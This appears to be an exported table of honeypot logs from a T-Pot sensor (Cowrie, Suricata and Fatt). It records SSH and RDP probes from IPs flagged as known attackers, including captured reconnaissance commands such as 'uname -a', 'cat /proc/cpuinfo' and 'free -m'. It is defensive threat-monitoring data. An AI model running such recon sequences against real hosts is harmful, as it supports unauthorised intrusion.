"diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "13ec152810e1", "@version": "1", "timestamp": "2021-09-20T11:54:38.909107Z", "@timestamp": "2021-09-20T11:54:38.909Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
33225	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:54:38.906895+03	2021-09-20 15:00:04.623722+03	{"_id": "rwYOA3wBvYTbRNuE4k4e", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "flow_id": 113792851509523, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 41660, "dest_port": 22, "timestamp": "2021-09-20T11:54:38.906895Z", "@timestamp": "2021-09-20T11:54:38.906Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
33226	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:54:38.629936+03	2021-09-20 15:00:04.637722+03	{"_id": "sAYOA3wBvYTbRNuE404q", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "119.29.153.168", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 41660, "timestamp": "2021-09-20T11:54:38.629936", "@timestamp": "2021-09-20T11:54:38.629Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33227	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:40.016188+03	2021-09-20 15:00:04.652722+03	{"_id": "swYOA3wBvYTbRNuE5E6x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 44, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "src_ip": "1.116.239.130", "ttylog": "log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.5664823055267334, "duplicate": true, "timestamp": "2021-09-20T11:54:40.016188Z", "@timestamp": "2021-09-20T11:54:40.016Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33228	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:39.184775+03	2021-09-20 15:00:04.667732+03	{"_id": "sgYOA3wBvYTbRNuE5E6x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 32, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "0ba8d02f153f6ec82031ae5a0e04d595385d13f816c9984367a8b05457cc485f", "src_ip": "121.4.68.188", "ttylog": "log/tty/0ba8d02f153f6ec82031ae5a0e04d595385d13f816c9984367a8b05457cc485f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/0ba8d02f153f6ec82031ae5a0e04d595385d13f816c9984367a8b05457cc485f after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.5592367649078369, "duplicate": false, "timestamp": "2021-09-20T11:54:39.184775Z", "@timestamp": "2021-09-20T11:54:39.184Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33229	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:40.163795+03	2021-09-20 15:00:04.671722+03	{"_id": "uQYOA3wBvYTbRNuE6E6a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 25, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "c7170ae7ed85530cff24e2034daf2de0e9c35ad732affafdad6bb2455f21e1f2", "src_ip": "121.4.68.188", "ttylog": "log/tty/c7170ae7ed85530cff24e2034daf2de0e9c35ad732affafdad6bb2455f21e1f2", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/c7170ae7ed85530cff24e2034daf2de0e9c35ad732affafdad6bb2455f21e1f2 after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.5688216686248779, "duplicate": false, "timestamp": "2021-09-20T11:54:40.163795Z", "@timestamp": "2021-09-20T11:54:40.163Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33230	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:40.570371+03	2021-09-20 15:00:04.686722+03	{"_id": "vQYOA3wBvYTbRNuE6E6a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:40.570371Z", "@timestamp": "2021-09-20T11:54:40.570Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33231	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:40.570913+03	2021-09-20 15:00:04.701722+03	{"_id": "uwYOA3wBvYTbRNuE6E6a", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:40.570913Z", "@timestamp": "2021-09-20T11:54:40.570Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33232	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:41.139785+03	2021-09-20 15:00:05.033722+03	{"_id": "xAYOA3wBvYTbRNuE7E6G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "121.4.68.188", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.569495677947998, "duplicate": true, "timestamp": "2021-09-20T11:54:41.139785Z", "@timestamp": "2021-09-20T11:54:41.139Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33233	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:41.407883+03	2021-09-20 15:00:05.048732+03	{"_id": "xQYOA3wBvYTbRNuE7E6G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:41.407883Z", "@timestamp": "2021-09-20T11:54:41.407Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33234	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:41.40844+03	2021-09-20 15:00:05.052722+03	{"_id": "xgYOA3wBvYTbRNuE7E6G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:41.408440Z", "@timestamp": "2021-09-20T11:54:41.408Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33235	119.29.153.168	109.199.241.180	Cowrie	2021-09-20 14:54:41.410142+03	2021-09-20 15:00:05.416722+03	{"_id": "xwYOA3wBvYTbRNuE7E6G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "119.29.153.168", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "13ec152810e1", "@version": "1", "duration": 2.7807350158691406, "timestamp": "2021-09-20T11:54:41.410142Z", "@timestamp": "2021-09-20T11:54:41.410Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
33236	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:41.500825+03	2021-09-20 15:00:05.430722+03	{"_id": "yAYOA3wBvYTbRNuE7E6G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.session.params", "message": [], "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:41.500825Z", "@timestamp": "2021-09-20T11:54:41.500Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33237	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:41.501376+03	2021-09-20 15:00:05.445732+03	{"_id": "yQYOA3wBvYTbRNuE7E6G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "121.4.68.188", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "c3d04de9c460", "@version": "1", "timestamp": "2021-09-20T11:54:41.501376Z", "@timestamp": "2021-09-20T11:54:41.501Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33238	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:41.966855+03	2021-09-20 15:00:05.460732+03	{"_id": "ygYOA3wBvYTbRNuE7E6G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 74, "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "src_ip": "1.116.239.130", "ttylog": "log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0 seconds", "session": "72b3abb7134e", "@version": "1", "duration": 0.559056282043457, "duplicate": true, "timestamp": "2021-09-20T11:54:41.966855Z", "@timestamp": "2021-09-20T11:54:41.966Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33239	121.4.68.188	109.199.241.180	Cowrie	2021-09-20 14:54:42.074676+03	2021-09-20 15:00:05.463722+03	{"_id": "ywYOA3wBvYTbRNuE7E6G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "121.4.68.188", "asn": 4847, "as_org": "China Networks Inter-Exchange", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "121.4.68.188", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "c3d04de9c460", "@version": "1", "duration": 0.5739333629608154, "duplicate": true, "timestamp": "2021-09-20T11:54:42.074676Z", "@timestamp": "2021-09-20T11:54:42.074Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33240	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:54:41.583884+03	2021-09-20 15:00:05.478722+03	{"_id": "zgYOA3wBvYTbRNuE7U7W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:54:41.238606+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1730534506079246, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 52698, "dest_port": 3389, "timestamp": "2021-09-20T11:54:41.583884Z", "@timestamp": "2021-09-20T11:54:41.583Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
33241	61.133.192.126	109.199.241.180	Suricata	2021-09-20 14:54:41.583884+03	2021-09-20 15:00:05.493722+03	{"_id": "zwYOA3wBvYTbRNuE7U7W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:54:41.238606+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1730534506079246, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 52698, "dest_port": 3389, "timestamp": "2021-09-20T11:54:41.583884Z", "@timestamp": "2021-09-20T11:54:41.583Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	\N
33242	192.168.20.116	109.199.241.180	Suricata	2021-09-20 14:54:41.649028+03	2021-09-20 15:00:05.508722+03	{"_id": "zQYOA3wBvYTbRNuE7U7W", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T11:54:41.238606+0000", "pkts_toclient": 3, "pkts_toserver": 3, "bytes_toclient": 193, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 0, "dest_ip": "61.133.192.126", "flow_id": 1730534506079246, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "dest_port": 52698, "timestamp": "2021-09-20T11:54:41.649028Z", "@timestamp": "2021-09-20T11:54:41.649Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
33243	61.133.192.126	109.199.241.180	Fatt	2021-09-20 14:54:41.583884+03	2021-09-20 15:00:05.523721+03	{"_id": "0gYOA3wBvYTbRNuE7k7j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 52698, "dest_port": 3389, "timestamp": "2021-09-20T11:54:41.583884", "@timestamp": "2021-09-20T11:54:41.583Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	\N
33244	1.116.239.130	109.199.241.180	Cowrie	2021-09-20 14:54:42.400398+03	2021-09-20 15:00:05.525722+03	{"_id": "1gYOA3wBvYTbRNuE8E5u", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-x64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "1.116.239.130", "eventid": "cowrie.session.params", "message": [], "session": "72b3abb7134e", "@version": "1", "timestamp": "2021-09-20T11:54:42.400398Z", "@timestamp": "2021-09-20T11:54:42.400Z", "t-pot_ip_ext": 